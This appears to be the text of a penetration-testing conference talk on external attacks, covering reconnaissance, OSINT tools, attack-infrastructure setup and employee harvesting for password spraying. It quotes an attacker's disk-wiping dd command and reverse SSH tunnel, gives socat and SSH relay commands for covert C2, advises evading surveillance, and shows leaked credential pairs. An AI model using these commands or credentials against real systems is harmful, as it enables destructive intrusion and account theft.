

Z3r0 to H3r0 – Targeting Crown Jewels over the Internet



Viral Maniar

whoami

- Over 7 years of experience in the field of Information Security
- Passionate about offensive and defensive security
- Working as a Principal Security Consultant at Threat Intelligence
- In my free time I develop security tools
- Presented at BlackHat USA in August 2019 (PowerShell-RAT)
- Outside of Infosec land – I like photography



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<https://viralmaniar.github.io/>

Disclaimer

- Performing any hack attempts or tests without written permission from the owner of the computer system is illegal.
- If you recently suffered a breach and found techniques or tools illustrated in this presentation, this neither incriminates my involvement in any way, nor implies any connection between myself and the attackers.
- The tools and techniques remain universal and penetration testers and security consultants often uses them during engagements.

Presentation Outline


- What is External Pentest?
- Infrastructure setup for attack
- Reconnaissance methods and OSINT techniques
- Common issues and misconfiguration in the external perimeter
- Gain internal access to the network
- Stay calm and quiet in the network and plant a backdoor
- Identify crown jewels
- Exfiltrate sensitive data
- Key takeaways

MITRE ATT&CK


ATT&CK Matrix for Enterprise												
	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Drive-by Compromise	AppleScript	.bash_profile and .bashrc	Access Token Manipulation	Access Token Manipulation	Account Manipulation	Account Manipulation	Account Discovery	AppleScript	Audio Capture	Commonly Used Port	Automated Exfiltration	Data Destruction
Exploit Public-Facing Application	CMSTP	Accessibility Features	Accessibility Features	Binary Padding	Bash History	Application Window Discovery	Application Deployment Software	Automated Collection	Communication Through Removable Media	Data Compressed	Data Encrypted for Impact	
External Remote Services	Command-Line Interface	Account Manipulation	AppCert DLLs	BITS Jobs	Brute Force	Browser Bookmark Discovery	Distributed Component Object Model	Clipboard Data	Connection Proxy	Data Encrypted	Defacement	
Hardware Additions	Compiled HTML File	AppCert DLLs	Applinit DLLs	Bypass User Account Control	Credential Dumping	Domain Trust Discovery	Exploitation of Remote Services	Data from Information Repositories	Custom Command and Control Protocol	Data Transfer Size Limits	Disk Content Wipe	
Replication Through Removable Media	Control Panel Items	Applinit DLLs	Application Shimming	Clear Command History	Credentials in Files	File and Directory Discovery	Logon Scripts	Data from Local System	Custom Cryptographic Protocol	Exfiltration Over Alternative Protocol	Disk Structure Wipe	
Spearphishing Attachment	Dynamic Data Exchange	Application Shimming	Bypass User Account Control	CMSTP	Credentials in Registry	Network Service Scanning	Pass the Hash	Data from Network Shared Drive	Data Encoding	Exfiltration Over Command and Control Channel	Endpoint Denial of Service	
Spearphishing Link	Execution through API	Authentication Package	DLL Search Order Hijacking	Code Signing	Exploitation for Credential Access	Network Share Discovery	Pass the Ticket	Data from Removable Media	Data Obfuscation	Exfiltration Over Other Network Medium	Firmware Corruption	
Spearphishing via Service	Execution through Module Load	BITS Jobs	Dylib Hijacking	Compile After Delivery	Forced Authentication	Network Sniffing	Remote Desktop Protocol	Data Staged	Domain Fronting	Exfiltration Over Physical Medium	Inhibit System Recovery	
Supply Chain Compromise	Exploitation for Client Execution	Bootkit	Exploitation for Privilege Escalation	Compiled HTML File	Hooking	Password Policy Discovery	Remote File Copy	Email Collection	Domain Generation Algorithms	Scheduled Transfer	Network Denial of Service	
Trusted Relationship	Graphical User Interface	Browser Extensions	Extra Window Memory Injection	Component Firmware	Input Capture	Peripheral Device Discovery	Remote Services	Input Capture	Fallback Channels		Resource Hijacking	
Valid Accounts	InstallUtil	Change Default File Association	File System Permissions Weakness	Component Object Model Hijacking	Input Prompt	Permission Groups Discovery	Replication Through Removable Media	Man in the Browser	Multi-hop Proxy		Runtime Data Manipulation	
	Launchctl	Component Firmware	Hooking	Control Panel Items	Kerberoasting	Process Discovery	Shared Webroot	Screen Capture	Multi-Stage Channels		Service Stop	
	Local Job Scheduling	Component Object Model Hijacking	Image File Execution Options Injection	DCShadow	Keychain	Query Registry	SSH Hijacking	Video Capture	Multiband Communication		Stored Data Manipulation	
	LSASS Driver	Create Account	Launch Daemon	Deobfuscate/Decode Files or Information	LLMNR/NBT-NS Poisoning and Relay	Remote System Discovery	Taint Shared Content		Multilayer Encryption		Transmitted Data Manipulation	
	Mshta	DLL Search Order Hijacking	New Service	Disabling Security Tools	Network Sniffing	Security Software Discovery	Third-party Software		Port Knocking			
	PowerShell	Dylib Hijacking	Path Interception	DLL Search Order Hijacking	Password Filter DLL	System Information Discovery	Windows Admin Shares		Remote Access Tools			
	Regsvcs/Regasm	External Remote Services	Plist Modification	DLL Side-Loading	Private Keys	System Network Configuration Discovery	Windows Remote Management		Remote File Copy			
	Regsvr32	File System Permissions Weakness	Port Monitors	Execution Guardrails	Securityd Memory	System Network Connections Discovery			Standard Application Layer Protocol			

- Knowledge base of adversary tactics and techniques
- Foundation for the development of specific threat models and methodologies
- Consists of 3 major matrices:
 - PRE-ATT&CK
 - ATT&CK
 - MOBILE

External Pentest Methodologies

- PRE-ATT&CK - Set of 15 different categories used by an attacker to plan an attack
 - <https://attack.mitre.org/tactics/pre/>
 - OSINT Framework - OSINT framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources
 - <https://osintframework.com/>
 - ISTAR - Intelligence, Surveillance, Target Acquisition and Reconnaissance
 - F2T2EA Model - Find, Fix, Track, Target, Engage and Assess
 - F3EAD cycle - Find, Fix, Finish, Exploit, Analyze and Disseminate
- 
- Not used widely

What Crown Jewels Hackers are after?



Crown Jewels (Cntd..)

- Not all systems and data are created equally
- In any given organisation, some of the data, systems, and applications are more critical than others.
- Some are more exposed to risk, and some are more likely to be targeted
- Attackers are really good at identifying sensitive and high value data and discovering the locations of who can access this data
- Monitor access controls and implement separation of duties

Interesting Hack

The screenshot shows the VFEmail website's user control panel. On the left, there's a sidebar with a "Forum" section featuring a "bitcoin ACCEPTED HERE" button. The main content area has a large red alert message: "!!!ALERT!!!! Update Feb 11 2019 www.vfemail.net and mail.vfemail.net are currently unavailable. We have suffered catastrophic destruction at the hands of a hacker, last seen as aktv@94.155.49.9. This person has destroyed all data in the US, both primary and backup systems. We are working to recover what data we can. New updates 2/11/19 6pm CST: Incoming mail is now being delivered. Webmail is up. Note-mailboxes are created upon new mail delivery. If you cannot login, you may not have received mail. Mailboxes are new, no subfolders exist. No filters are in place. If you created a filter with Horde, Login to Horde, Create any folders you need. Click Filter, Click Script, then click 'Activate Script'. There is no spam scanning at this time. At this time I am unsure of the status of existing mail for US users. If you have your own email client, DO NOT TRY TO MAKE IT WORK. If you reconnect your client to your new mailbox, all your local mail will be lost. Worried about your privacy? Use our Metadata Mitigator™ System! Use PGP to protect your email content! View our new Privacy Q&A! Since 2001, VFEmail has provided businesses and end-users a quick and convenient way to ensure their own security when it comes to email."

VFEmail.net @VFEmail · Feb 11
Strangely, not all VMs shared the same authentication, but all were destroyed. This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy.
5 32 43

VFEmail.net @VFEmail · Feb 11
At this time, the attacker has formatted all the disks on every server. Every VM is lost. Every file server is lost, every backup server is lost. NL was 100% hosted with a vastly smaller dataset. NL backups by the provider were intact, and service should be up there.
15 143 142

VFEmail.net @VFEmail · Feb 11
nl101 is up, but no incoming email. I fear all US based data may be lost.
1 5 12

VFEmail.net @VFEmail · Feb 11
Caught the perp in the middle of formatting the backup server:
dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559
via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error
-oUserKnownHostsFile=/dev/null aktv@94.155.49.9 -R
127.0.0.1:30081:127.0.0.1:22 -N
18 121 273

VFEmail.net @VFEmail · Feb 11
This is not looking good. All externally facing systems, of differing OS's and remote authentication, in multiple data centers are down.
5 12 19

Data Breach Timeline

Screenshot of a web browser showing a news article from KrebsOnSecurity. The URL is https://krebsonsecurity.com/2019/04/experts-breach-at-it-outsourcing-giant-wipro/. The page title is "15 Experts: Breach at IT Outsourcing Giant Wipro". The date is APR 19. The text discusses a breach at Wipro, an Indian IT outsourcing company, where its own systems were hacked and used to launch attacks against customers. It quotes sources and includes a Wipro logo.

15 Experts: Breach at IT Outsourcing Giant Wipro

APR 19

Indian information technology (IT) outsourcing and consulting giant **Wipro Ltd.** [NYSE:WIT] is investigating reports that its own IT systems have been hacked and are being used to launch attacks against some of the company's customers, multiple sources tell KrebsOnSecurity. Wipro has refused to respond to questions about the alleged incident.

Earlier this month, KrebsOnSecurity heard independently from two trusted sources that **Wipro** – India's third-largest IT outsourcing company – was dealing with a multi-month intrusion from an assumed state-sponsored attacker.

Both sources, who spoke on condition of anonymity, said Wipro's systems were seen being used as jumping-off points for digital fishing expeditions targeting at least a dozen Wipro customer systems.

The security experts said Wipro's customers traced malicious and suspicious network reconnaissance activity back to partner systems that were communicating directly with Wipro's network.

On April 9, KrebsOnSecurity reached out to Wipro for comment. That prompted an email on Apr. 10 from **Vipin Nair**, Wipro's head of communications. Nair said he was traveling and needed a few days to gather more information before offering an official response.

On Friday, Apr. 12, Nair sent a statement that acknowledged none of the questions Wipro was asked about an alleged security incident involving attacks against its own customers.



Entity	Year	Records	Organization type	Method
2019 Bulgarian revenue agency hack	2019	over 5,000,000	government	hacked
Canva	2019	140,000,000	web	hacked
Capital One	2019	106,000,000	financial	hacked
Desjardins	2019	2,900,000	financial	inside job
Facebook	2019	540,000,000	social network	poor security
Facebook	2019	1,500,000	social network	accidentally uploaded
First American Corporation	2019	885,000,000	financial service company	poor security
Health Sciences Authority (Singapore)	2019	808,000	healthcare	poor security
Justdial	2019	100,000,000	local search	unprotected api
Ministry of Health (Singapore)	2019	14,200	healthcare	poor security/inside job
Mobile TeleSystems (MTS)	2019	100,000,000	telecommunications	misconfiguration/poor security
Quest Diagnostics	2019	11,900,000	Clinical Laboratory	poor security
StockX	2019	6,800,000	retail	hacked
Truecaller	2019	299,055,819	Telephone directory	unknown
Woodruff Arts Center	2019	unknown	arts group	poor security
Westpac	2019	98,000	financial	hacked
Australian National University	2019	19 years of data	academic	hacked
AerServ (subsidiary of InMobi)	2018	75,000	advertising	hacked
Air Canada	2018	20,000	transport	hacked
Bell Canada	2018	100,000	telecoms	hacked
Bethesda Game Studios	2018		gaming	accidentally published
Blank Media Games	2018	7,633,234	gaming	hacked


https://en.wikipedia.org/wiki/List_of_data_breaches

Setup for Attack Infrastructure

Setup – External Pentest Attack

- VPS server running Kali distribution. All malicious traffic will go from this server
- Connect to VPS over VPN or TOR tunnel to avoid revealing of real IP address in the connection logs
- Real attacker uses public Wi-Fi access point where they can hide behind number of connections. Usually finds a blind spot to avoid video surveillance
- Connect to our setup from Live USB so that we leave no logs on the actual machine


Setup – Traditional Attack Infrastructure



Drawbacks of Single VPS Setup

- In the current setup there are high chances of being detected and having a single point of failure
- In case the attacking server gets blacklisted, we would need to rebuild the VPS server with necessary tools
- Blue team can perform reverse attack on VPS and take advantage of vulnerabilities in attacking tools to hack the hacker
- We would setup long term attacking servers, HTTP relays/forwarders and redirectors for having a resilient and covert setup

Setup – Resilient Attack Infrastructure



Reverse SSH Tunnels and SOCAT

```
root@C2-Serve1 $ :ssh -nNT -R 5555:localhost:443 <public_ip>
```

```
root@Relay1 password:
```

Reverse SSH Tunnel

```
root@relay1 $ : socat TCP4-LISTEN:443,bind=0.0.0.0, 0.0.0.0,fork TCP4:127.0.0.1:5555
```

socat - Multipurpose relay (SOcket CAT)

OSINT, SOCMINT & GEOINT for External Pentest

Lampyre

List of requests

Criteria: 2 Tasks: 36

Search

Cyber Security

- Haveibeenpwned search
- OpenPGP info
- Password search by email
- Threatcrowd search

Messenger


- ICQ account by email
- ICQ account by phone number
- Skype account by email
- Skype account by phone number
- Telegram account by phone number
- WhatsApp account by phone number

Service

- Bookmate account by email
- Bookmate account by phone number
- Caller ID info by phone number
- Deezer account by email
- Duolingo account by email
- GitHub account by email
- Goodreads account by email
- Gravatar account by email
- Nikeplus account by email
- Runkeeper account by email
- Strava account by email

Address Article urls ASNs Card number Company number Credentials Crt.sh ID Domains Domains Emails Hashes Hosts IPs IPs Job IDs License plate number Linkedin id Netblocks Nickname Organisation Phone number URLs URLs URLs for scan Usernames

Your marking




- Lampyre is a Windows-based Data Analysis tool that can be used for all kinds of analysis including Crime, Geographic, Cyber Threat, and Financial.


Data.xlsx

	Domain	Email	Type	Ip	lat	lon
	lampyre.io	admin@lampyre.io	admin	45.56.84.216	37.536501	-121.956

Row count: 1 Rows selected: 0 Cells selected: 0



Maltego



- Maltego comes pre-installed on Kali.
- It supports API communication to software like Shodan and Threatminer.


Transform Hub	
Refresh Transform Hub	Update Transforms
 PATERVA CTAS CE Paterva Standard Paterva Transforms <small>FREE</small>	
 dataprovider.com dataprovider.com transforms the internet into a str... <small>PURCHASED SEPARATELY</small>	 CaseFile Entities Paterva Additional entities from CaseFile <small>FREE</small>
 Farsight DNSDB Farsight Security, Inc Query the largest DNS Intelligence database, 100+ ... <small>FREE</small>	 CipherTrace CipherTrace Cryptocurrency forensics and anti money launderi... <small>FREE</small>
 Cisco Threat Grid Cisco Threat Grid Query Threat Grid's database of threat intelligence. <small>PURCHASED SEPARATELY</small>	 Kaspersky Lab Kaspersky Lab Query Kaspersky Threat Intelligence Data Feeds. N... <small>PURCHASED SEPARATELY</small>
 Shodan Paterva Query Shodan data from within Maltego! <small>FREE</small>	 ZETalytics Massive Passive ZETalytics Pivots include billions of records for historical dom... <small>FREE</small>

SpiderFoot

- SpiderFoot queries over 100 public data sources (OSINT) to gather intelligence
 - Provides insight into possible data leaks, vulnerabilities or other sensitive information such as public code repositories
 - Generates detailed report

Type	Unique Data Elements	Total Data Elements	Last Data Element
Account on External Site	6	6	2019-07-11 15:02:51
Affiliate - Company Name	3	3	2019-07-11 15:03:45
Affiliate - Domain Name	1	3	2019-07-11 15:04:34
Affiliate - Domain Whois	1	1	2019-07-11 15:03:45
Affiliate - Email Address	3	3	2019-07-11 15:03:45
Affiliate - Internet Name	3	3	2019-07-11 15:04:21
Domain Name	1	1	2019-07-11 15:01:49
Email Gateway (DNS 'MX' Records)	1	1	2019-07-11 15:04:21
Internet Name	2	4	2019-07-11 15:03:23
Linked URL - Internal	2	2	2019-07-11 15:01:46
Malicious Affiliate	2	2	2019-07-11 15:04:21
Name Server (DNS 'NS' Records)	2	2	2019-07-11 15:04:03
Public Code Repository	2	2	2019-07-11 15:02:51

BinaryEdge



- Distributed platform of scanners and honeypots, to acquire, classify and correlate different types of data by scanning the entire Internet
- Allows an organisation to see their Internet attack surface:
 - Ports and Services Exposure
 - Possible Vulnerabilities
 - Accessible Remote Desktops
 - Invalid SSL Certificates
 - Misconfigured Network Shares
 - Databases

Telegram Intel

The screenshot shows a web browser window with the URL <https://search.buzz.im/> in the address bar. The search query is "license key". The results page for "MESSAGES" shows "Found 354 results". A specific message from a user named "RAKA" is highlighted, showing a Telegram channel post. The post contains a license key for Malwarebytes Premium:

MALWAREBYTES PREMIUM

License Key : 6UY[REDACTED]M
Product Name : Malwarebytes 3 Premium
Expires On : Lifetime
Max devices / Used : 1 / 2
Active : Yes

SEND

ONLY ON THIS CHANNEL

301 views Aug 31 at 12:42


Below the message, there is a partially visible HMA KEY and License key information.

Date: 02 Sep. 2019 20:15 Subscribers: 2238 Author: blackdayciti

Buzz.im - <https://search.buzz.im/>
Telegram Channels - <https://tlgrm.eu/channels>
Lyzem - <https://lyzem.com/>
Telegram Analytics - <https://tgstat.ru/en/search>

- Access to License keys to security tools
- Chat from public Telegram channels
- Password dumps
- Credit Card leaks
- Hacking tools

Telegram Treasures



<https://cse.google.com/cse?cx=006368593537057042503:efxu7jwvzq>

Most Visited Getting Started Widgets | Django doc...

TELEGAGO password dump

All Private Stickers Contacts Widgets Telegraph Telescope Bots Public

About 166 results (0.49 seconds)

['CHECKERS - CARDING!!! -](#)
https://t.me/s/ccheckersdocumentarios
Há 2 dias ... Dumps with track#1&2,101&201 with pin and regional unblock instock ...
Password : morisson525. Question 1 : Whats Your Favorite Game
[Structured data](#)

[CryptoWZRD - Telegram](#)
https://t.me/s/WZRDcrypto
2 days ago ... Even if BTC dumps lower we do not need to worry too much. 7.5K viewsToray, 04:28 July 24 ... https://cryptowzrd.com/password. Enjoy! 🎉 6.8K viewsToray, ...
[Structured data](#)

[Must Leak - Telegram](#)
https://t.me/s/Mustleak?before=1780
4 days ago ... Will get Nord VPN 30 days With Auto Renew If you dont change password : 504 viewsedited 04:25 Todays Dump smtp, imap , webmail @mustleak. Email and ...
[Structured data](#)

[Nb - Telegram](#)
https://t.me/s/nbnnb133/624
5 days ago ... http://tinyium.com/DUB Droid Dump ... http://tinyium.com/DqV Free Password Wifi Recovery In other words, it only works if you've forgotten a password.
[Structured data](#)

[Professional Hackers On Security - Telegram](#)
https://t.me/s/PHOfficial?q=%23password_security
5 days ago ... Google Chrome will now generate unique passwords for you by Lisa Vaas
Security researchers often dump on users for their cruddy password practices.
[Structured data](#)

[PREMIUM EVERYTHING - Telegram](#)
https://t.me/s/allwebseriesfree?before=14601
6 days ago ... +5400x Discord Accounts Dump | UUID | TIME | EMAIL | PASSWORD | TOKEN https://ushortx.com/Xmq3 ✅ For Getting Final Link Complete Human Verification ...
[Structured data](#)

<https://cse.google.com/cse?cx=006368593537057042503:efxu7jwvzq>

Most Visited Getting Started Widgets | Django doc...

TELEGAGO vpn password

All Private Stickers Contacts Widgets Telegraph Telescope Bots Public

About 1,100 results (0.15 seconds)

[Ethical Hacking - Telegram](#)
https://t.me/s/ethhackers?before=22
2 days ago ... Hacking (Ann Loader, **Password Stealers**) ⚡ Injection Programs (SQL ... ⚡ VPN'S & Proxies UDEMY Udemy Premium Accounts **Passwords** With Courses
[Structured data](#)

[Cracky Boy - Telegram](#)
https://t.me/s/crackyboy
Hace 1 dia ... wgelnaw@gmail.com. Password: KYFEhegz ... Password: doomer5562. As Combo: Cracky Boy. VYPR VPN BY PAYPAL 100% Working
[Structured data](#)

[VPN Unlimited - Telegram](#)
https://t.me/s/VPNunlimitedKeepSolid?before=338
2 days ago ... What's \$499.99 (price of the Lifetime **VPN** Unlimited subscription) + \$99.99 (price of 5 ... Resist that urge, and ask yourself, "How strong is my **password**?"
[Structured data](#)

[Free Premium Accounts - Telegram](#)
https://t.me/s/premiumHost
2 days ago ... Nord **Vpn** Premium Accounts https://throwbin.io/23fAcqs. Please Send ... Netflix Premium Account **Passwords** benjamin.vanier@gmail.com: ...
[Structured data](#)

[accounts paradise - Telegram](#)
https://t.me/s/accountparadise?before=15600
2 روز پیش ... **Password**: item2k, Subscription: Premium ... **Password**: aspire8920g ... **VPN**: Hide my ass vpn Express vpn® Nord **Vpn** Zenmate Private vpn
[Structured data](#)

[Junior max FreeNet Surf - Telegram](#)
https://t.me/s/Juniormax1
2 days ago ... Can anyone search Vpnbook.com and check vpnbook **password** for me. User: @Junior2019max. 427 viewsJoin @Juniormax7 Junior★max, 07.27. May 10.

Поймать нарушителя! Учимся детектировать инструменты атак ...
<https://telegra.ph/Pojmat-narushitelya-Uchimsya-detektirovat-instrumenty-atak-na-Windows-07-12>

11 июл 2019 ... С его помощью можно получать копии областей памяти LSA, SAM, SECURITY , NTDS.dit, поэтому его можно увидеть на разных стадиях ...
[Structured data](#)

[Telegram - براينت](#)
https://t.me/s/brainit
10 زوون 2019 ... پیگاه داده اکتیو دایرکتوری یک فایل به نام Ntfs.dit است که در مسیر %tds% قرار دارد . در فایل تمامی اطلاعات مربوط به سیستم های موجود در ...
[Structured data](#)


[Бюджетный самурай - Telegram](#)
https://t.me/s/budsamurai?before=333
10 июн 2019 ... Вывод: дамп вашего NTDS.dit, совсем немного средств в облаке и ваши восемизначные пароли сдаются очень быстро. 4.3K views 01:12. February 18 .
[Structured data](#)

[Аудит событий Windows - Telegram](#)
https://telegra.ph/Audit-sobytiy-Windows-02-07

5 фев 2017 ... позволяет выполнять различные операции с базой данных AD в онлайн или оффлайн режиме (непосредственно с файлом ntds.dit).
[Structured data](#)

Open S3 Buckets

- Easiest way to attack crown jewels
- s3-leaks - <https://github.com/nagwww/s3-leaks> - Keeps track of data breach via open S3 buckets
- s3-inspector - <https://github.com/kromtech/s3-inspector>
- S3Scanner - <https://github.com/sa7mon/S3Scanner>



Subdomain Enumeration

- Search engines (Google, Bing, Yahoo, Baidu)
- <https://virustotal.com/> - Search for “domain:target.com” and virustotal will provide extensive information in addition to Observed subdomains
- <https://dnsdumpster.com> – The name says it all. Enter the target domain, hit search, profit! – You can download the Excel Spreadsheet and view the graphs
- <https://crt.sh/?q=%25target.com> – Sometimes SSL is a goldmine of information. Use this site by searching for “%target.com” and it’ll get back with subdomains
- <https://censys.io> – Not great but has some useful information sometimes
- <https://searchdns.netcraft.com/> – Another to keep an eye on
- <https://www.shodan.io> – Shodan is an infrastructure based spider with an associated information caching database that is made predominantly for security professionals. It has historical and current data on a great numbers of the internet’s servers, including seen-subdomains, server versioning, and much more

Subdomain Enumeration - Tools

- Subbrute – A DNS meta-query spider that enumerates DNS records, and subdomains
- dnsmap – a python wordlist-based DNS subdomain scanner
- Nmap – Yes it's a port scanner, but it can bruteforce subdomains too (check nmap scripts)
- Recon-Ng – The recon-ng framework has a *brute_hosts* module that allows to bruteforce subdomains
- DNSRecon – A powerful DNS enumeration script
- Fierce – A semi-lightweight enumeration scanner
- Gobuster – Alternative directory and file busting tool written in Go
- DNSenum – Offers recursive and threaded subdomain enumeration
- AltDNS – offers bruteforcing based on permutations of already found domains

LDAP Directory

The screenshot shows a web-based LDAP directory interface. On the left, there is a sidebar titled "ud.osu.edu" containing a list of users with their first names and last initials. The main area displays an organization chart where nodes represent users. A specific user node is selected, shown with a larger thumbnail profile picture and detailed information below it. The information includes:

Full name	E-mail	Department	Description
[Redacted]	[Redacted]	[Redacted]	[Redacted]

Below the table, there is a "Telephone number" field which is also redacted.

A Google search results page for the query "inurl:OrganizationChart.cc". The search bar at the top contains the query. Below the search bar, there are three tabs: "All" (selected), "Images", and "Maps". The search results section shows a summary: "About 99 results (0.26 seconds)".

RocketReach

The screenshot shows the RocketReach interface for the company Threat Intelligence Pty Ltd. At the top, there's a navigation bar with icons for Home, Testing, Widgets, Django doc..., and VirusTotal. Below it is a header with the RocketReach logo and a search bar. The main content area has tabs for Company Profile, Email Format, and Management. The Company Profile tab is active, showing the Threat Intelligence Pty Ltd Profile. It includes a LinkedIn icon and a summary: Threat Intelligence Pty Ltd is a company based in Sydney, New South Wales, AU. Below this are sections for Website (<https://www.threatintelligence.com>), Revenue (\$2.40 Million), Employees (12), Address, and Web Rank (31 Million). A search bar at the bottom allows users to find emails for employees.

This screenshot shows the Email Format analysis for Threat Intelligence Pty Ltd. It features tabs for Company Profile, Email Format, and Management. The Email Format tab is active, displaying the Threat Intelligence Pty Ltd Email Format. It states that the company uses 1 email format, with 'first'.' last (ex. jane.doe@threatintelligence.com) being used 100.0% of the time. A table below shows this data.

Threat Intelligence Pty Ltd's Email Format	Percentage	
first'.' last	jane.doe@threatintelligence.com	100.0%

Name	Company	Location	Contact Info
Viral Maniar Melbourne, Australia	Threat Intelligence Pty Ltd	Melbourne, Australia	Search: threatintelligence.com, gmail.com, +more Get Contact
Breno Cunha Senior Security Consultant	Threat Intelligence Pty Ltd	Australia	Found 1 email: neurotech.com.br Get Contact
Sandeep Ghai Senior DevOps / Cloud Engineer	Threat Intelligence Pty Ltd	Sydney, Australia	Search: threatintelligence.com, gmail.com, +more Get Contact
Damian Harvey Anz Business Manager	Threat Intelligence Pty Ltd	Sydney, New South Wales, Australia	Found 2 emails: vormetric.com, rsa.com Get Contact
Paul Kalinin --	Threat Intelligence Pty Ltd	Australia	Search: threatintelligence.com, gmail.com, +more Get Contact
Ty Miller Managing Director	Threat Intelligence Pty Ltd	Sydney, New South Wales, Australia	Found 2 emails: gmail.com, purehacking.com Search: phones available on +Phone plans Get Contact

Hunter.io

threatintelligence.com

Find email addresses

4 email addresses

t miller@threatintelligence.com ✓ 2 sources ^
<http://oasis-open.org/news/announcements/call-for-participation-oasis-cyber-thr...> Aug 26, 2018
<http://wesvics.com/tasmania/connect-active-directory-with-azure-active-directory...> Feb 5, 2019
REMOVED

i o@threatintelligence.com 14 sources ▾

c eers@threatintelligence.com 1 source ▾

arew.vanderstock@threatintelligence.com 1 source ^
<http://oasis-open.org/news/announcements/call-for-participation-oasis-cyber-thr...> Aug 26, 2018

Sign up to uncover the email addresses, get the full results, search filters, CSV downloads and more. Get 50 free searches/month.

Create a free account

Secure | https://hunter.io/search/markethero.io

Search Finder Verifier Bulk Leads Outreach

Domain Search

markethero.io Market Hero Export in CSV

All Personal Generic 2 results

ltsupport@markethero.io ✓ 1 source ▾

jd@markethero.io ✓ 1 source ▾



linkedin2username



Spray away.
github.com/initstring

```
usage: linkedin2username.py [-h] [-p PASSWORD] [-n DOMAIN] [-d DEPTH]
                            [-s SLEEP] [-x PROXY] [-k KEYWORDS] [-g]
                            username company

positional arguments:
  username      A valid LinkedIn username.
  company       Company name exactly as typed in the company linkedin
                profile page URL.

optional arguments:
  -h, --help    show this help message and exit
  -p PASSWORD, --password PASSWORD
                Specify your password in clear-text on the command
                line. If not specified, will prompt and obfuscate as
                you type.
  -n DOMAIN, --domain DOMAIN
```

- Generates username lists from company's LinkedIn page
- Here's what you get:
 - `first.last.txt`: Usernames like `Joe.Schmoe`
 - `flast.txt`: Usernames like `JSchmoe`
 - `firstl.txt`: Usernames like `JoeS`
 - `first.txt` Usernames like `Joe`
 - `lastf.txt` Usernames like `SchmoeJ`
 - `rawnames.txt`: Full name like `Joe Schmoe`

```
$ python linkedin2username.py
myname@email.com uber-com
```

```
$ python linkedin2username.py
myname@email.com uber-com -d 5-n 'uber.com'
```

<https://github.com/initstring/linkedin2username>

FOCA

FOCA Tree 3.1

Project Tools Options TaskList About Donate

No project

File Network Domain Roles Vulnerabilities Results

FOCA

Would you like that
FOCA TEAM makes a
penetration test on
your web site?

site.com filetype:pdf

ID	Type	URL	Download	Download Date	Size	Analyzed
0	pdf	C:\Test\Test.pdf	*	16/05/2012 21:34:33	142.87 KB	X
1	pptx	C:\Test\Test.pptx	*	16/05/2012 21:34:33	144.78 KB	X
2	docx	C:\Test\Test 2.docx	*	16/05/2012 21:34:33	14.73 KB	X
3	pdf	C:\Test\Test 2.pdf	*	16/05/2012 21:34:33	31.91 KB	X
4	ppt	C:\Test\Test 2.ppt	*	16/05/2012 21:34:33	211 KB	X
5	docx	C:\Test\Test.docx	*	16/05/2012 21:34:33	15.82 KB	X
6	doc	C:\Test\Test .dot.doc	*	16/05/2012 21:34:33	136.9 KB	X
7	pdf	C:\Test\Test.pdf	*	16/05/2012 21:34:33	152.69 KB	X

Time Source Severity Message

Clear Deactivate AutoScroll Clear

"CEO" "email" "@" "Name" "Phone" filetype:csv OR filetype:xls OR filetype:

All Images Maps News Videos More Settings Tools

About 14,700 results (0.61 seconds)

[XLS] [fortune 1000](#)
[assets.time.com/cm/fortune-data.../2016_FORTUNE_1000_w_Contacts_Sample.xls](#) ▾
... CORPORATE WEBSITE, CEO NAME RETURN TO MAIN DATA, CEO TITLE, Email, Office Phone, Office Ext, Direct Dial, CFO NAME, CFO TITLE, Email, Office ...

[XLS] [Fortune 1000 Companies List and Contact Info - Boolean Strings](#)
[booleanstrings.com/wp-content/uploads/2014/01/fortune1000-2012.xls](#) ▾
6, Company, Phone, Email Format, Email Format 2, General Email, CEO Name, CEO Email, Website, Address, City, State, Zipcode. 7, Chevron, 925-842-1000 ...



Goca
OPEN SOURCE

Instagram

The screenshot shows the Instagram explore/locations page. At the top, there's a search bar with the placeholder "Search". Below the search bar is a section titled "COUNTRIES" containing a grid of country names. The countries are listed in four columns:


United States	Australia	Netherlands	Denmark
Brazil	Turkey	Chile	Austria
India	Vietnam	Colombia	Portugal
United Kingdom	Italy	Poland	Norway
Germany	South Korea	Peru	Hong Kong
Indonesia	Philippines	Belgium	Egypt
Thailand	Malaysia	Greece	Pakistan
Mexico	Taiwan	Switzerland	Ireland
France	Russia	Singapore	China
Japan	South Africa	Romania	Czech Republic
Canada	Argentina	Ukraine	Bangladesh
Spain	Sweden	Israel	United Arab Emirates
Hungary	Cambodia	Iraq	Honduras
Saudi Arabia	Venezuela	Lebanon	Lithuania
Ecuador	Paraguay	Nepal	Bosnia and Herzegovina
Finland	Guatemala	Algeria	Panama
Nigeria	Dominican Republic	Tunisia	Kuwait
Puerto Rico	Serbia	Latvia	Georgia
New Zealand	Slovakia	Laos	Belarus
Morocco	Sri Lanka	El Salvador	Slovenia
Costa Rica	Kazakhstan	Cyprus	Macedonia
Bulgaria	Kenya	Jordan	Estonia
Croatia	Myanmar	Uruguay	Ghana
Iran	Bolivia	Azerbaijan	Nicaragua

At the bottom of the grid, there's a "See More" button.




- <http://instadp.com>
- <http://izuum.com>
- <http://otzberg.net/iguserid/>
- <http://codeofaninja.com/tools/find-instagram-user-id>
- <http://sometag.org>
- [https://github.com/althonos/InstaLooter \(API Less\)](https://github.com/althonos/InstaLooter)
- [https://github.com/akurtovic/InstaRaider \(API Less\)](https://github.com/akurtovic/InstaRaider)

SnapMap




- Unauthenticated view of the recent snap chat stories
- Gives you a nice heatmap of where the most

echosec



- Information discovery by monitoring various social media
- Allows one to set a radius or exact location


SocialPath



- SocialPath is simple browser application to find accounts across social media — Facebook, Instagram, Twitter, Reddit and Stackoverflow.
- Collected data is sorted according words frequency, hashtags, timeline, mentions, similar accounts and presented as charts with the help of D3js.
- It uses Django as backend

<https://github.com/woj-ciech/SocialPath>

Visual Search and Clustering Search Engines




- Answer The Public - <https://answerthepublic.com>
- Carrot2 - <http://search.carrot2.org>
- CluuZ - <http://www.cluuz.com>
- Exalead - <http://www.exalead.com>
- iSEEK - <http://iseek.com>
- Yippy - <http://yippy.com>

Screenshotting

- **EyeWitness** - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible.
 - <https://github.com/FortyNorthSecurity/EyeWitness>
- **Gowitness** - a golang, web screenshot utility using Chrome Headless
